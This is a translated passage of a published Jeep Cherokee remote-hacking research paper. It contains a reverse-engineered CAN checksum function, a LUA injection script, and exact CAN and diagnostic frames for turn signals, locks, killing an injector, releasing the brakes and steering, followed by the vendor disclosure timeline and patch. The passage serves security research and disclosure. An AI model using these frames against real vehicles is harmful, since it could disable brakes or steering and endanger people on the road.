System.out.println("Start Address: " + pb.getStartAddress());

上面代码的输出如下:

Block Len: 733184
Block len (uncomp): 733184
File Offset: 3363
Start Address: 8192

我们现在拥有了编写一个小的 Python 脚本来提取固件部分并开始逆向工程所需的所有信息。剩下的一个主要问题是我们并不完全确定 PAM 模块中使用的 CPU 的架构。

最好的做法是打开 PAM 外壳并寻找实际板上的识别标记。如果我们能够识别芯片标记,那么我们很有可能确定使用的是哪个处理器并开始在 IDA Pro 中拆卸固件。

虽然很难看出来,但主MCU上的标记是D70F3634,google一下就知道是Renesas v850芯片!

幸运的是,这与用于信息娱乐系统的处理器相同,因此可以重复使用逆向工程脚本、技术和工具。既然我们从更新中提取了固件并了解了架构,我们可以对二进制文件进行逆向工程,希望找到一个用于计算校验和的函数。

经过一些讨论,我们认为可能存在一些带有常数的异或运算,导致校验和在具有非常相似的有效载荷时大不相同。经过一些快速搜索,我们发现了一个对值进行异或运算的函数,并且似乎有一些循环,这是逆向的完美候选者。

我们首先将反汇编逆向工程为 C,因为本文的作者之一是一个完整的精神病患者。

从那里,C 函数被移植到 Python 进行测试。以下代码是反汇编导出的Python代码。

def calc_checksum(data, length):
end_index = length - 1
index = 0 
checksum = 0xFF 
temp_chk = 0; 
bit_sum = 0;
if(end_index <= index):
return False
for index in range(0, end_index):
shift = 0x80
curr = data[index]
iterate = 8
while(iterate > 0):
iterate -= 1
bit_sum = curr & shift;
temp_chk = checksum & 0x80
if (bit_sum != 0):
bit_sum = 0x1C
if (temp_chk != 0):
bit_sum = 1
checksum = checksum << 1
temp_chk = checksum | 1 
bit_sum ^= temp_chk
else:
if (temp_chk != 0):
bit_sum = 0x1D
checksum = checksum << 1 
bit_sum ^= checksum
checksum = bit_sum 
shift = shift >> 1
return ~checksum & 0xFF

如果您通过“calc_checksum”函数运行来自上述 PAM 消息的 3 个字节的数据,它将吐出正确的校验和。更重要的是,我们在 Jeep 的 CAN 总线上看到的包含 1 字节校验和的所有消息都使用了相同的功能。因此,我们对所有感兴趣的消息都有校验和算法。与我们之前遇到的校验和相比,这个校验和非常复杂。

注意:还有 2 个其他的校验和函数被识别并反转为 C,但这些没有被发现用于任何感兴趣的消息。算法非常相似,但字节长度不同。

网络物理 CAN 消息

一旦您可以通过远程利用发送 CAN 消息,只需弄清楚要发送哪些消息来影响物理系统即可。以前,我们花了整整一年的时间来弄清楚要为福特和丰田发送哪些信息,我们并不急于为吉普车重做这项工作。我们做了一些只是为了说明哪些物理系统可以通过远程开发来控制,但这不是本研究的主要重点。

正常 CAN 消息

正如之前的研究中所讨论的,有两种类型的 CAN 消息:正常和诊断。在正常操作期间,总线上始终可以看到正常消息。诊断消息通常仅在机械师测试或处理 ECU 或发生其他一些异常情况时才会出现。我们通过检查只能使用普通 CAN 消息来操纵的物理特征来开始讨论。

转向信号

转向信号,又名闪光灯,通过 CAN C 网络上 ID 为“04F0”的 CAN 消息进行控制。如果第一个字节是 01,则使左信号开启,如果是 02,则使右信号开启。下面是一个将激活转向指示器的 LUA 脚本。

注意:该脚本使用与 V850 芯片的 SPI 通信,因此 CAN ID 移位 2 位以补偿硬件的预期。

local clock = os.clock 
function sleep(n) -- seconds
local t0 = clock()
while clock() - t0 <= n do end
end
ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
while true do
-- can3 can2 can1 can0 data0
g:write(0xf0, 0x02, 91, 0x07, 0x00, 0x00, 0xC0, 0x13, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00) -- left turn 
sleep(.001)
end

锁

锁与转向灯非常相似。对于锁,消息的 ID 为 05CE,位于 CAN IHS 总线上。数据是两个字节长。如果第二个字节是 02,则锁定锁定,如果是 04,则解锁锁定。

RPMS

转速计由 CAN-C 总线上的消息 01FC 控制。前两个示例由消息中的纯数据组成。这个采用了不同的形式,这在吉普车上并不罕见。最后两个字节是一个计数器,它随着每条消息的增加而增加,还有一个校验和。

校验和之前已经详细讨论过。此消息采用以下形式:

IDH: 01, IDL: FC, Len: 08, Data: 07 47 4C C1 70 00 45 48

前两个字节是要显示的 RPM。在这种情况下,它是 0x747,即 1863 RPM。

诊断 CAN 消息

诊断消息比普通消息更强大,但是如果汽车高速行驶,通常速度超过 5-10 英里/小时,大多数 ECU 将忽略诊断消息。因此,这些攻击通常只能在汽车行驶相当缓慢时执行,除非攻击者能够弄清楚如何伪造用于确定是否应接受诊断消息的速度。

需要注意的是,虽然目标车辆可能以低于 5-10 mpg 的速度行驶,但其他没有被黑客入侵的车辆可能不会如此缓慢地行驶。目标车辆减速到完全停止或从静止加速将满足这些参数。在任何一种情况下,在拥挤的交通中都可能发生事故,特别是如果目标车辆的刹车受到损害。

注意:Jeep 诊断消息是 29 位 CAN 消息。

Kill engine

此消息是从机械工具发送的测试中收集的。您可以启动诊断会话,然后调用“startRoutineByLocalIdentifier”。

在这种情况下,本地 87 标识符是 15,数据是 00 01。这个测试的目的是杀死一个特定的喷油器,大概是第一个。发送的消息必须如下所示。首先,启动诊断会话。同样,这只会在低速下成功。

EID: 18DA10F1, Len: 08, Data: 02 10 92 00 00 00 00 00

然后调用例程:

EID: 18DA10F1, Len: 08, Data: 04 31 15 00 01 00 00 00

没有刹车

Jeep 具有与我们在福特 Escape 中看到的相同的“功能”,即如果可以建立诊断会话,则可以在汽车行驶时释放刹车。这导致刹车在这段时间内不起作用,并且存在严重的安全问题,即使它仅在您缓慢行驶时才起作用。刹车片的短暂缺失或流血可能会导致司机恐慌或行为不合理,这可能足以满足一些演员的意图。

首先,我们需要开始与 ABS ECU 的诊断会话

EID: 18DA28F1, Len: 08, Data: 02 10 03 00 00 00 00 00

然后我们给制动器放气(最大所有制动器)。这是一个消息 (InputOutput),但需要多个 CAN 消息,因为数据太长而无法放入单个 CAN 帧。

EID: 18DA28F1, Len: 08, Data: 10 11 2F 5A BF 03 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 64 64 64 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 00 00 00 00 00

转向

转向(作为驻车辅助的一部分)和防碰撞制动等操作使用正常的 CAN 消息。然而,与我们之前看到的车辆不同,使用 CAN 消息注入更难控制它们。例如,在丰田普锐斯中,要踩下刹车,你只需要向网络发送大量消息,表明碰撞预防系统据说可以踩下刹车。当然,真正的防撞系统是说不要踩刹车,因为没有必要这样做。

丰田 ABS ECU 会看到注入的消息和实际消息之间的这种混淆,并根据它以更高频率看到的任何消息采取行动。因此,很容易使车辆接合制动器。在 Jeep 中,这些类型的功能并非如此。我们确定了碰撞预防系统用于接合制动器的信息。

然而,当我们发送它并且 ECU 收到我们的信息以应用刹车和来自真实 ECU 的信息不应用刹车时,吉普车中的 ABS ECU 只是完全关闭了碰撞预防。它旨在寻找这些类型的违规行为,而不是做出回应。这使得我们以前在丰田普锐斯上执行的许多操作变得困难。话虽如此,但 88 个控制车辆安全关键方面的信息并没有被欺骗。由于专注于远程开发的研究,因此付出了最少的努力。

作为我们如何解决这个问题的一个例子,我们将关闭发送离线消息的真实 ECU。然后我们的消息是接收 ECU 唯一会看到的消息,因此不会出现混淆。缺点是我们通过诊断消息使真正的 ECU 脱机。

这意味着我们只能以缓慢的速度进行攻击,即使实际操作仅涉及正常的 CAN 消息,因为我们首先需要使用诊断消息。我们以转向为例来说明这一点。在转向过程中,如果停车辅助系统收到冲突消息,它将离线。(实际上车轮可以稍微移动一点,尤其是在车辆停止的情况下,但要完全控制您需要遵循此程序)。

停车辅助模块 (PAM) 是发送真实信息的 ECU。因此,我们将 PAM 置于诊断会话中,使其停止发送正常消息。然后我们发送消息来转动方向盘。首先,我们开始与 PAM 的诊断会话:

EID: 18DAA0F1, Len: 08, Data: 02 10 02 00 00 00 00 00

然后我们发送 CAN 消息,告诉动力转向 ECU 转动车轮。这些看起来像一堆类似于这些的消息:

IDH: 02, IDL: 0C, Len: 04, Data: 90 32 28 1F

这里的前两个字节是应用于方向盘的扭矩。80 00 是无扭矩。C0 00 等大数字表示逆时针旋转,而 40 00 等小数字表示顺时针旋转。第三个字节的第一个半字节是自动驻车是否启用(0=否,2=是)。这个字节的第二个半字节是一个计数器。最后一个字节是校验和。

披露

我们向菲亚特克莱斯勒汽车公司 (FCA) 披露了我们发现的问题。

以下是披露时间表。

  1. 2014 年 10 月:我们披露了 D-Bus 服务暴露且易受攻击的事实。

  2. 2015 年 3 月:我们向 FCA 披露,我们可以重新编程 V850 芯片,以从 OMAP 芯片发送任意 CAN 消息。我们此时还通知他们,我们计划在 2015 年 8 月的 Black Hat 和 DEFCON 上展示这些发现。

  3. 2015 年 5 月:我们披露了 D-Bus 可通过蜂窝网络访问而不仅仅是 Wi-Fi 的事实.

  4. 2015 年 7 月:我们提供了本文的 FCA、Harman/Kardon、NHTSA 和 QNX 高级副本。

  5. 2015 年 7 月 16 日:克莱斯勒发布了该问题的补丁。

  6. 2015 年 7 月 21 日:有线文章发布。

  7. 2015 年 7 月 24 日:Sprint 蜂窝网络阻止端口 6667 流量。克莱斯勒自愿召回 140 万辆汽车。

修补和缓解措施

克莱斯勒针对此问题进行了修复,可在 15.26.1 版中找到。

我们没有广泛研究这个补丁,尽管最终结果是车辆现在不再接受传入的 TCP/IP 数据包。

这是补丁(版本 14.25.5)之前的 nmap 扫描的结果:

这是安装补丁后的扫描:

此外,Sprint 网络被重新配置以阻止(至少)端口 6667 流量,即使在同一个蜂窝塔内也是如此。

因此,攻击易受攻击、未打补丁的车辆的唯一方法是通过 Wi-Fi(如果可用)或通过毫微微蜂窝连接进行攻击。两者都需要近距离接触车辆。

结论

本文是三年汽车安全研究的结晶。在其中,我们展示了一种可以对许多菲亚特克莱斯勒汽车进行的远程攻击。易受攻击的车辆数量达到数十万辆,迫使 FCA 召回了 140 万辆汽车,并改变了 Sprint 运营商网络。

这种远程攻击可以针对位于美国任何地方的车辆进行,并且不需要攻击者或驾驶员对车辆进行修改或物理交互。由于远程攻击,某些物理系统如转向和制动会受到影响。我们提供这项研究是希望我们可以在未来学习制造更安全的车辆,以便驾驶员可以相信他们在驾驶时不会受到网络攻击。制造商、供应商和安全研究人员可以使用这些信息继续调查 Jeep Cherokee 和其他车辆,以保护现代汽车的安全。

Previous参考文章Next安全研究基础

Last updated 3 years ago

图 2:2014 Jeep Cherokee 架构图
Figure 3: FCW+
Figure 4: LDW+
Figure 5: Display while using PAM system
Figure 6: Display with no key
Figure 7: 2014 Jeep Cherokee TPMS display
Figure 8: 2014 Jeep key fob
Figure 9: 2014 Jeep Cherokee Bluetooth dashboard
Figure 10: 2014 Jeep Cherokee radio data dashboard
Figure 11: 2014 Jeep Cherokee Wi-Fi dashboard
Figure 12: http://www.thetruthaboutcars.com/wp-content/uploads/2014/02/2014-Jeep-Cherokee- Limited-Interior-uConnect-8.4.jpg
Figure 13: http://dbus.freedesktop.org/doc/diagram.png
Figure 14: DFeet output for com.harman.service.SoftwareUpdate
Figure 15: Invoking via DFeet
Figure 16: Sierra Wireless AirPrime AR5550 from a Harman Uconnect system
Figure 17: Renesas v850 FJ3
Figure 18: Uconnect update screen
Figure 19: Insert USB stick screen
Figure 20: Altered integrity check byte
Figure 21: Two young bloods
Figure 22: Sprint Airave 2.0
Figure 23: Scanning setup
Figure 24: V850 Processor type
Figure 25: Jump Code
Figure 26: V850 initialization code
Figure 27: Image addressing
Figure 28: Python find code function
Figure 29: IDA Pro ROM section
Figure 30: V850 Documentation
Figure 31: Uconnect firmware segments
Figure 32: GP-based addressing example
Figure 33: RAM xrefs
Figure 34: Create CAN values in PPA
Figure 35: CAN Module 0 message buffer 2 & 3
Figure 36: IAR Example V850 CAN code
Figure 37: CAN message transmission code disassembly
Figure 38: PPA CAN variables
Figure 39: can_read_from_ram
Figure 40: can_write_to_ram
Figure 41: RAM pointers
Figure 42: can_transmit_msg_1_or_3
Figure 43: SPI Channel 7
Figure 44: The new code we added to the firmware
Figure 45: wiTECH pricing
Figure 46: 2014 Jeep Cherokee ECU diagram from the WiTech software
Figure 47: wiTECH notable files
Figure 48: wiTECH string obfuscation
Figure 49: Eclipse output of de-obfuscated text
Figure 50: Encrypted security unlocking Java code
Figure 51: wiTECH encrypted security unlock file
Figure 52: Decrypted Javascript unlock file
Figure 53: Jeep ECU unlocking algorithm
Figure 54: 2014 Jeep Parking Assist Module
Figure 55: PAM PCB
Figure 56: PAM checksum algorithm